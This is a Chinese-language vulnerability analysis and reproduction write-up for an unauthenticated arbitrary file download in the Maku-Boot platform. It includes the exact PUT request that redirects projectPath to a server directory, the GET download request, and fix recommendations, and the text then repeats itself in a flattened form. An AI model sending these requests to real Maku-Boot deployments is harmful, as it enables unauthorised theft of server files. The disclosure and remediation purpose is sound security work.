maku-boot未授权任意文件下载漏洞分析
字数 1197 2025-08-12 12:46:04

Maku-Boot未授权任意文件下载漏洞分析与复现

一、项目概述

Maku-Boot是一个基于以下技术的低代码开发平台:

  • 后端:SpringBoot 3.4、SpringSecurity 6.4、Mybatis-Plus
  • 前端:Vue 3、Element-plus

项目资源:

  • Gitee地址:https://gitee.com/makunet/maku-boot
  • 开发文档:https://maku.net/docs/maku-boot

二、漏洞概述

该漏洞是一个组合漏洞,包含两个关键问题:

  1. 未授权访问:系统默认忽略对maku-generator路径的权限校验
  2. 任意文件下载:通过项目更新接口可修改项目路径,进而下载服务器任意目录文件

三、环境搭建

  1. 修改配置文件:maku-server/src/main/resources/application-dev.yml
  2. 导入数据库
  3. 项目打包并运行

四、漏洞详细分析

1. 未授权访问分析

  • 系统在SecurityFilterConfig.java中配置了忽略/maku-generator/**路径的权限校验
  • maku-generator组件自身不包含鉴权功能
  • 相关代码位置:net/maku/framework/security/config/SecurityFilterConfig.java:37

2. 文件下载机制

  • 文件下载功能位于ProjectModifyController.java第72行
  • 根据项目ID获取文件夹路径并下载整个文件夹的zip压缩包
  • exclusions参数在保存时留空可简化利用过程

3. 项目更新接口

  • 使用PUT方法访问/maku-generator/gen/project
  • 关键参数projectPath可控制下载的文件夹路径

五、漏洞复现步骤

步骤1:修改项目路径

发送以下PUT请求修改项目路径:

PUT /maku-generator/gen/project HTTP/1.1
Host: 192.168.64.130:8089
Content-Type: application/json;charset=UTF-8
Connection: close

{
  "id":1,
  "projectName":"maku-boot",
  "projectCode":"maku",
  "projectPackage":"net.maku",
  "projectPath":"/root/web/logs",
  "modifyProjectName":"baba-boot",
  "modifyProjectCode":"baba",
  "modifyProjectPackage":"com.baba",
  "exclusions":"",
  "modifySuffix":"java,xml,yml,txt",
  "createTime":"2024-06-18T23:26:33.000+08:00"
}

关键参数说明:

  • projectPath:设置为目标下载目录(如/root/web/logs
  • exclusions:留空
  • id:项目ID(此处为1)

步骤2:下载目标文件

发送GET请求下载文件:

GET /maku-generator/gen/project/download/1 HTTP/1.1
Host: 192.168.64.130:8089
Connection: close

或直接在浏览器访问:http://192.168.64.130:8089/maku-generator/gen/project/download/1

六、漏洞修复建议

  1. maku-generator组件添加鉴权机制
  2. projectPath参数进行严格校验,限制为特定目录
  3. 实现文件下载的白名单机制
  4. 更新Spring Security配置,不忽略关键路径的权限检查

七、总结

该漏洞利用了两个关键问题:

  1. 系统默认配置导致的未授权访问
  2. 文件下载功能缺乏路径校验

攻击者可组合利用这两个问题,通过修改项目路径参数下载服务器上的任意文件,可能导致敏感信息泄露。

Maku-Boot未授权任意文件下载漏洞分析与复现 一、项目概述 Maku-Boot是一个基于以下技术的低代码开发平台: 后端:SpringBoot 3.4、SpringSecurity 6.4、Mybatis-Plus 前端:Vue 3、Element-plus 项目资源: Gitee地址:https://gitee.com/makunet/maku-boot 开发文档:https://maku.net/docs/maku-boot 二、漏洞概述 该漏洞是一个组合漏洞,包含两个关键问题: 未授权访问 :系统默认忽略对 maku-generator 路径的权限校验 任意文件下载 :通过项目更新接口可修改项目路径,进而下载服务器任意目录文件 三、环境搭建 修改配置文件: maku-server/src/main/resources/application-dev.yml 导入数据库 项目打包并运行 四、漏洞详细分析 1. 未授权访问分析 系统在 SecurityFilterConfig.java 中配置了忽略 /maku-generator/** 路径的权限校验 maku-generator 组件自身不包含鉴权功能 相关代码位置: net/maku/framework/security/config/SecurityFilterConfig.java:37 2. 文件下载机制 文件下载功能位于 ProjectModifyController.java 第72行 根据项目ID获取文件夹路径并下载整个文件夹的zip压缩包 exclusions 参数在保存时留空可简化利用过程 3. 项目更新接口 使用PUT方法访问 /maku-generator/gen/project 关键参数 projectPath 可控制下载的文件夹路径 五、漏洞复现步骤 步骤1:修改项目路径 发送以下PUT请求修改项目路径: 关键参数说明: projectPath :设置为目标下载目录(如 /root/web/logs ) exclusions :留空 id :项目ID(此处为1) 步骤2:下载目标文件 发送GET请求下载文件: 或直接在浏览器访问: http://192.168.64.130:8089/maku-generator/gen/project/download/1 六、漏洞修复建议 为 maku-generator 组件添加鉴权机制 对 projectPath 参数进行严格校验,限制为特定目录 实现文件下载的白名单机制 更新Spring Security配置,不忽略关键路径的权限检查 七、总结 该漏洞利用了两个关键问题: 系统默认配置导致的未授权访问 文件下载功能缺乏路径校验 攻击者可组合利用这两个问题,通过修改项目路径参数下载服务器上的任意文件,可能导致敏感信息泄露。